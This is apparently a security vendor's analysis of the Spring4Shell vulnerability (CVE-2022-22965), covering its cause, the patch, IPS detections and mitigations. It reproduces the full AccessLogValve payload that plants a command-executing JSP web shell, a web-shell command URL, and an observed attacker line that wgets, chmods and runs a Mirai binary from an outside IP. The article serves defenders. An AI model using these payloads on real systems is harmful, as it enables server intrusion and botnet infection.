CVE-2022-22965: Analyzing the Exploitation of Spring4Shell Vulnerability in Weaponizing and Executing the Mirai Botnet Malware

CVE-2022-22963	CVE-2022-22965
Specific to a local resource exposure bug in Spring Cloud Functions	Leads to RCE in Spring Core applications under non-default circumstances
Patch availability: Yes.	Patch available: Yes (see section on available patches and mitigations).
CVSS Base Score: 9.8 (Critical) (CVSS 3.x) but much less severe than CVE-2022-22965	CVSS Base Score: 9.8 (Critical) (CVSS 3.x)
Makes an impact on Spring Cloud Function versions 3.1.6, 3.2.2, and older unsupported versions, where the routing functionality is used.	Makes an impact on any Java application using Spring Core under non-default circumstances.

Table 1. Differences between CVE-2022-22693 and CVE-2022-226955

Dependencies, software, and versions affected

As of this writing, most of the vulnerable setups were configured to the following dependencies:

• Spring Framework versions before 5.2.20, 5.3.18, and Java Development Kit (JDK) version 9 or higher
  
• Apache Tomcat
• Spring-webmvc or spring-webflux dependency
• Using Spring parameter binding that is configured to use a non-basic parameter type, such as Plain Old Java Objects (POJOs)
• Deployable, packaged as a web application archive (WAR)
• How does the vulnerability exist?

In general, this vulnerability occurs when special objects or classes are exposed under certain conditions. It is quite common for request parameters to be bound to a POJO that is not annotated with @RequestBody, which helps in extracting parameters from HTTP requests. The class variable contains a reference to the POJO object that the HTTP parameters are mapped to.

Threat actors can directly access an object by specifying the class variable in their requests. All child properties of an object can also be accessed by malicious actors through the class objects. As a result, they can get access to all kinds of other valuable objects on the system simply by following the chains of properties.

In Spring Core for "class.classLoader" and "class.protectionDomain", logic prevents malicious access to the child properties of the class object. However, the logic is not foolproof and can in fact be bypassed by using the "class.module.classLoader" selector.

Writable file system such as web apps or ROOT

Figure 1. Logic to prevent child properties; this logic is not foolproof.

Patch analysis

The patch for Spring Framework has already been released. We provide relevant details in the succeeding section onavailable patches and mitigations.

In this section, we analyze how different the patch is.

As aforementioned, the "class.classLoader" and "class.protectionDomain" logic was not adequately secure, thus rendering the Spring Framework vulnerable. To resolve this issue, the logic of child property access has been improved in the patched version update. Currently, it only allows "name" variants of class properties and no longer allows the binding of ClassLoader and ProtectionDomain Types.

Figure 2. spring-framework-5.3.17

Figure 3. spring-framework-5.3.18

Details of the patch can be found here.

Exploit analysis

In this section, we attempt to understand how malicious actors can gain access to all sorts of valuable objects on the system by simply following the chain of properties that we previously discussed.

Having access to the class variable and all its sub-properties provides a path for threat actors to change the behavior of the web application. Their familiarity with ways to exploit exposed class objects has resulted in many techniques for weaponizing this vulnerability.

For example, threat actors can access an AccessLogValve object and weaponize the class variable "class.module.classLoader.resources.context.parent.pipeline.firstpath" in Apache Tomcat. They can do this by redirecting the access log to write a web shell into the web root through manipulation of the properties of the AccessLogValve object, such as its pattern, suffix, directory, and prefix.

To illustrate:

Stage 1

Send Crafted Packet using "burp suite" or "curl"

Sample Host = (http://{victim IP}:8080/)

Figure 4. Specific headers and class attributes for the creation of a JSP web shell

The payload from the first stage can be sent as a single request without using different headers as shown in Figure 4 and as described in this public exploit. This exploit proof of concept is also interesting since a legitimate Tomcat feature of formatting the incoming logs to a deployed application is exploited as described in the second stage.

Stage 2

After decoding the payload being used from the first stage, we observe the following parameters and values in the payload:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

When a server handles this request, it creates a "tomcatwar.jsp" file on the server directory, which can be observed in the following string from the request made in the first stage.

Here, five specific attributes are modified as follows:

1. Pattern: It consists of a formatting layout identifying the various fields to extract from the request and log the response. Here you can see how the headers 'c2', 'c1', 'suffix' are being fetched from the headers. The substitution happens from the incoming headers as the format is %{name_of_header}i.

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

2. Suffix: The suffix to add to the end of each log file name. The extension of the file that will be written is .jsp

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

3. Directory: The absolute or relative path of a directory where the file will be created. In this case, 'webapps/ROOT' is selected since this is the path that is contained in a default Tomcat installation.

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

4. Prefix: The string that is added to the start of each log file that will be created. In this case, it's 'tomcatwar'.

class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar

5. fileDateFormat: The field allows for a customized timestamp to be added in the log file name. This is kept empty since we don't want any other extensions in the JSP webshell and this is set to empty because we don't desire the default timestamp format.

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Stage 3

Using the uploaded JSP web shell, malicious actors can execute commands on the server remotely, as observed in this domain:

• · (http://victimIP:8080/tomcatwar[.]jsp?pwd=j&cmd=whoami)

Figure 5. Execution of "whoami" using uploaded JSP web shell

Associated risks if unpatched

The typically results in the following:

• Creation of a path to allow initial access to a device that lets threat actors to install malware or achieve other goals
  
• Provision of means to spread malware that extracts and exfiltrates data from a device, or enabling of commands that install malware designed to steal information
• Denial of servicethat disrupts the operation of systems or other applications on the system
• Deployment and execution of cryptomining or cryptojacking malware on exposed devices by exploiting the RCE vulnerability
• Deployment of ransomware that encrypts files and withholds access until victims settle the ransom

RCE vulnerability gives threat actors full access to the compromised devices, making it a dangerous and critical vulnerability. Malicious actors can achieve various goals through RCE attacks. In contrast to other exploits, an RCE attack

Earliest exploitation

C1WS IPS rule 1006015, which detects "class.classLoader" in the request, was first logged on our honeypots on March 31, 2022.

IPS rule: 1006015 - Restrict Apache Struts "class.classLoader" Request

Figure 6. C1WS IPS trigger

We also observed IPS triggers from the rule released recently, as follows:

IPS rule: 1011372 - Spring Framework "Spring4Shell" Remote Code Execution Vulnerability (CVE-2022-22965)

Figure 7. C1WS IPS trigger

This IPS trigger is observed when a threat actor sends the malicious payload to exploit the vulnerability.

Figure 8. C1WS Log Inspection trigger on unsuccessful exploitation

This Log Inspection trigger can be observed when there is an unsuccessful exploitation attempt. It fails to create the log file that is the web shell (shell.jsp) due to incoherent permissions on the Tomcat ROOT directory. Such indicators can help threat analysts when they explore possible exploitation attempts of this vulnerability.

Figure 9. C1WS Log Inspection trigger on unsuccessful exploitation

Like the trigger in Figure 8, this Log Inspection trigger was observed as a result of an unsuccessful exploitation of the vulnerability. Here, the file "shell.jsp" was not created. Since the file was not available, the exception "java.io.FileNotFoundException" was logged.

Active exploitation

We observed active exploitation of Spring4Shell wherein malicious actors were able to weaponize and execute the Mirai botnet malware on vulnerable servers, specifically in the Singapore region.

The Mirai sample is downloaded to the "/tmp" folder and executed after permission change to make them executable using "chmod". The exploitation requests and commands decoded are as follows:

• http://{victim IP}:9090/tomcatwar[.]jsp?pwd=j&cmd=cd%20/tmp;%20wget%20http://45[.]95[.]169[.]143/The420smokeplace[.]dns/KKveTTgaAAsecNN
  aaaa.x86;chmod%20777%20*;./KKveTTgaAAsecNNaaaa.x86%20mSpring[.]x86
• cd /tmp; wget http://45[.]95[.]169[.]143/The420smokeplace.dns/KKveTTgaAAsecNNaaaa.x86;chmod 777 *;./KKveTTgaAAsecNNaaaa.x86 mSpring[.]x86
• http://45[.]95[.]169[.]143/The420smokeplace[.]dns/KKveTTgaAAsecNNaaaa.x86

We observed the samples at the start of April 2022. We also found the malware file server with other variants for different CPU architectures.

Figure 10. Mirai malware samples for different CPU architectures

Figure 11. Content of "wget.sh" as retrieved from a malicious server

The script "wget.sh" downloads the binaries from the malicious server and executes all the samples. The compatible ones run while the rest don't. Post execution, the files are removed from disk.

Trend Micro Vision One™

Figure 12. Trend Micro Vision One™ (Observed Attack Techniques) OATs triggers

Here, we see the individual triggers from different modules and products of Trend Micro from the threat hunting app, where we can examine the different levels of severity of each significant hit. We take this to the next level in the Vision One Workbench.

Figure 13. Trend Micro Vision One™ Network Security Workbench trigger

This Workbench is generated from Trend Micro Cloud One™ - Network Security. This shows how Network Security can help detect and prevent exploit attempts to protect an enterprise's Cloud workload on its deployed virtual private cloud (VPC). Here we can see how the endpoint with the IP address "10.10.10.176" is protected by the Intrusion Prevention Filter for Spring Core Code Execution Vulnerability.

Figure 14. Trend Micro Vision One Workbench trigger for Spring Cloud or core vulnerability exploitation

This Workbench shows the simplification of a complex attack pattern. Here, we see the initial IPS trigger from Network Security where a VPC with a vulnerable EC2 instance is protected. With this Workbench, we can see that Trend Micro Cloud One™ - Workload Security and Network Security are working in resonance.

We also have the IPS trigger from Network Security detecting the exploit attempt right from the start. We can then observe the "Identified Suspicious Command Injection" IPS rule from Workload Security sending the trigger out. Afterward, we see the execution of other commands, and this enables threat analysts to determine the presence of a successful exploitation, as the execution was followed using "curl" or "wget" to download and execute a malicious sample after a change of permissions using "chmod".

The impact scope helps assess the other workloads that have been observed with similar exploitation indicators such as processes, files, network activity, and commands executed among others. This integrated view shows the power of having everything in a single screen with detection across multiple products.

Figure 15. Trend Micro Vision One Workbench trigger for RCE or malware dropped by exploiting critical server vulnerability

This Workbench allows the observation of IPS triggers from Workload Security. The observation, in turn, enables the monitoring of Command Injection traffic, followed by the Spring Core RCE IPS rule. The different arrows show the directions of correlation between IP addresses and endpoints.

Figure 16. Trend Micro Vision One Workbench trigger for observed vulnerability exploitation and outbound connection to cryptocurrency mining pool

In this Workbench trigger, we can observe the work of different Workload Security modules. We can also see the first IPS trigger. Immediately after that, we see that there is an outbound connection to a well-known cryptocurrency mining pool. This event is detected from the Activity Monitoring module, which helps log file, network, and process activity.

Vision One Workbench can help analysts weed out the noise from their environments. With the help of Trend Micro threat experts who establish and devise these rules carefully, enterprises can thwart a wide range of cyberattacks.

Available patches and mitigations

Spring has released patches for this vulnerability with complete details here.

We urge enterprises to do the following:

• Upgrade Spring Framework to versions 5.3.18+ and 5.2.20+.
• Upgrade Spring Boot to versions 2.6.6+ and2.5.12+.

In the interim, enterprises can mitigate the risks associated with the vulnerability by doing the following:

• Maintaining a disallow or blocklist in web application firewall to block strings that contain values such as "class.*", "Class.*", "*.class.*", and "*.Class.*"
• Downgrading to a lower JDK version such as version 8 might help. However, it could impact application features and open doors to other attacks mitigated in higher versions of JDK.

Trend Micro protection and investigation

Trend Micro has also released rules and filters for detection and protection across some of its suite of products. These provide additional protection from and detection of malicious components associated to this threat.

Workload Security and Deep Security IPS Rules

• Rule 1011372 - Spring Framework "Spring4Shell" Remote Code Execution Vulnerability (CVE-2022-22965)

Network Security and TippingPoint Filters

• Filter 41108: HTTP: Spring Core Code Execution Vulnerability

Trend Micro™ Deep Discovery™ Inspector Network Content Inspection Rules

• Rule 3320: HTTP_SPRING4SHELL_RCE_EXPLOIT_REQUEST_BETA
• Rule 3321: HTTP_POSSIBLE_JAVA_CLASSLOADER_RCE_EXPLOIT_REQUEST_BETA

Indicators of Compromise (IOCs)

A list of the IOCs can be found in this text file..